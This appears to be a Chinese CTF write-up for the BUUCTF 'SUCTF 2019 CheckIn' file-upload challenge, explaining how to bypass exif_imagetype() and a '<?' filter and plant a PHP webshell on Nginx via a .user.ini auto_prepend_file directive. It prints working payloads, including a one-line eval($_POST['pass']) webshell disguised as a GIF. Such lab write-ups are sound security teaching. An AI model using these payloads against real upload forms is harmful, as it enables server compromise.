buuctf-web-[SUCTF 2019] CheckIn
时间:August 9 2022
测试发现不可以上传以.ph
开头的后缀名文件。于是想到上传.htaccess文件+上传图片马
的方式执行webshell,结果并没有成功。
为啥失败了呢?原来题目环境用的是Nginx服务器而不是Apache。而.htaccess
是Apache的配置文件。
查资料发现.user.ini
文件也可以构成php后门。这也是本题的考点之一。
基础知识
绕过exif_imagetype()
exif_imagetype() 读取一个图像的第一个字节并检查其签名。通过这个函数在一定程度上可以检测上传的文件是否是图片。显然图片马(正常图片里面加入php木马)是可以绕过这个函数的,那么除了图片马之外,有没有什么方法可以绕过呢?在知道如何绕过之前,需要学习exif_imagetype()判断文件是否是图片的原理。
该方法的介绍具体可以参考php手册:https://www.php.net/manual/zh/function.exif-imagetype.php
下表给出了常见的图片文件及其文件头部(header),文件头部中包含了签名部分。
image type | signature | description |
---|---|---|
.gif | GIF 16进制(47 49 46) |
签名字段为header的前三个字节:GIF ,后三个字节89a 为版本字段 |
.jpg | 十六进制 FF D8 FF E0 | FF D8 是一种marker type,表示jpg图片的开始 |
.png | 十六进制 89 50 4E 47 0D 0A 1A 0A | A PNG file is composed of an 8-byte signature header, followed by any number of chunks that contain control data / metadata / image data. |
提示: 十六进制值可以通过burpsuite的hex模式编辑
gif 文件结构1:http://giflib.sourceforge.net/whatsinagif/bits_and_bytes.html
权威gif文档:http://giflib.sourceforge.net/gif89.txt
维基百科png:https://en.wikipedia.org/wiki/Portable_Network_Graphics#File_format
知道常见图片的签名,接下来只需要将表中signature部分添加到文件内容开头,就可以绕过exif_imagetype()
绕过<?
由于php代码通常是以<? php
开头的,因此检测<?
的目的是判断上传文件是否是php文件。
通过以下等价语法来绕过
<script language='php'>eval($_POST['pass']);</script>
利用.user.ini构造php后门
.user.ini
是一个php配置文件,此类文件仅被 CGI/FastCGI SAPI 处理。如果 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。
除了主 php.ini
之外,PHP 还会在每个目录下扫描INI
文件,从被执行的PHP 文件所在目录开始一直上升到web 根目录( $_SERVER['DOCUMENT_ROOT']
所指定的)。如果被执行的php文件在web更目录外面,则只扫描被执行的php文件所在目录。
那么.user.ini
如何使用呢?
在 .user.ini
风格的 INI 文件中只有具有PHP_INI_PERDIR
和 PHP_INI_USER
模式的 INI 设置可被识别,
简单来说,不同的模式可用的指令不太一样。
可以参考下面两个链接来进一步了解 模式(modes) 和指令(directives)
Definition of PHP_INI_* modes:https://www.php.net/manual/en/configuration.changes.modes.php
List of php.ini directives ¶:https://www.php.net/manual/en/ini.list.php
.user.ini
中可用的指令有很多,下面列出两个可以帮我们构造php后门的指令:
在PHP_INI_PERDIR
模式下可以使用下图所标记的指令:auto_append_file
和auto_prepend_file
下图是关于这两个指令的简短介绍,他们都属于"数据处理类"配置命令/选项
用法如下
auto_append_file=文件名
auto_prepend_file=文件名
因此,我们可以先上传.user.ini
文件,使用auto_prepend_file
指令指定一个我们上传的图片马,当访问该图片马所在目录的php文件时,这个图片马的内容会自动被包含(require)进我们访问的php文件的开头。这样就使得php木马被包含进我们访问的php文件中了。
提示:在上传
.user.ini
的时候,需要绕过exit_imagetyep()
函数
上传.user.ini
文件后,再上传图片马,访问上传的目标目录中的index.php即可利用图片马。
提示:图片马的内容需要绕过
<?
和exit_imagetyep()
函数
解题过程
上传.user.ini
GIF89a
auto_prepend_file=1.jpg
上传1.jpg
GIF89a
<script language='php'>eval($_POST['pass']);</script>
连接webshell
注意:shell地址为图片马所在目录的index.php,不是首页的index.php
http://d05ddf82-8e0f-408d-80bf-1bc6b7e8137b.node4.buuoj.cn:81/uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php
flag在根目录下
在题目环境中,文件过一段时间就会自动删除,因此连接shell之前请重复上传一下.user.ini和图片马。
源代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head>
<body>
<h2>Upload Labs</h2>
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="fileUpload" id="file"><br>
<input type="submit" name="upload" value="提交">
</form>
</body>
</html>
<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("<? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}
1.用preg_match()
正则函数来检测非法后缀名:不允许上传以ph
开头的文件
2.通过file_get_contents($tmp_name)
来检测图片内容,不允许出现<?
总结
通过这道题,学会了通过.user.ini
来构造php后门。即,除了上传.htaccess
(apache服务器),还可以上传.user.ini
(apache和Nginx均可)来构造php后门
文件上传时不能盲目使用方法,最好先进行信息收集,之后选择合适的方法来突破。
更多信息
https://wooyun.js.org/drops/user.ini文件构成的PHP后门.html
https://xz.aliyun.com/t/6091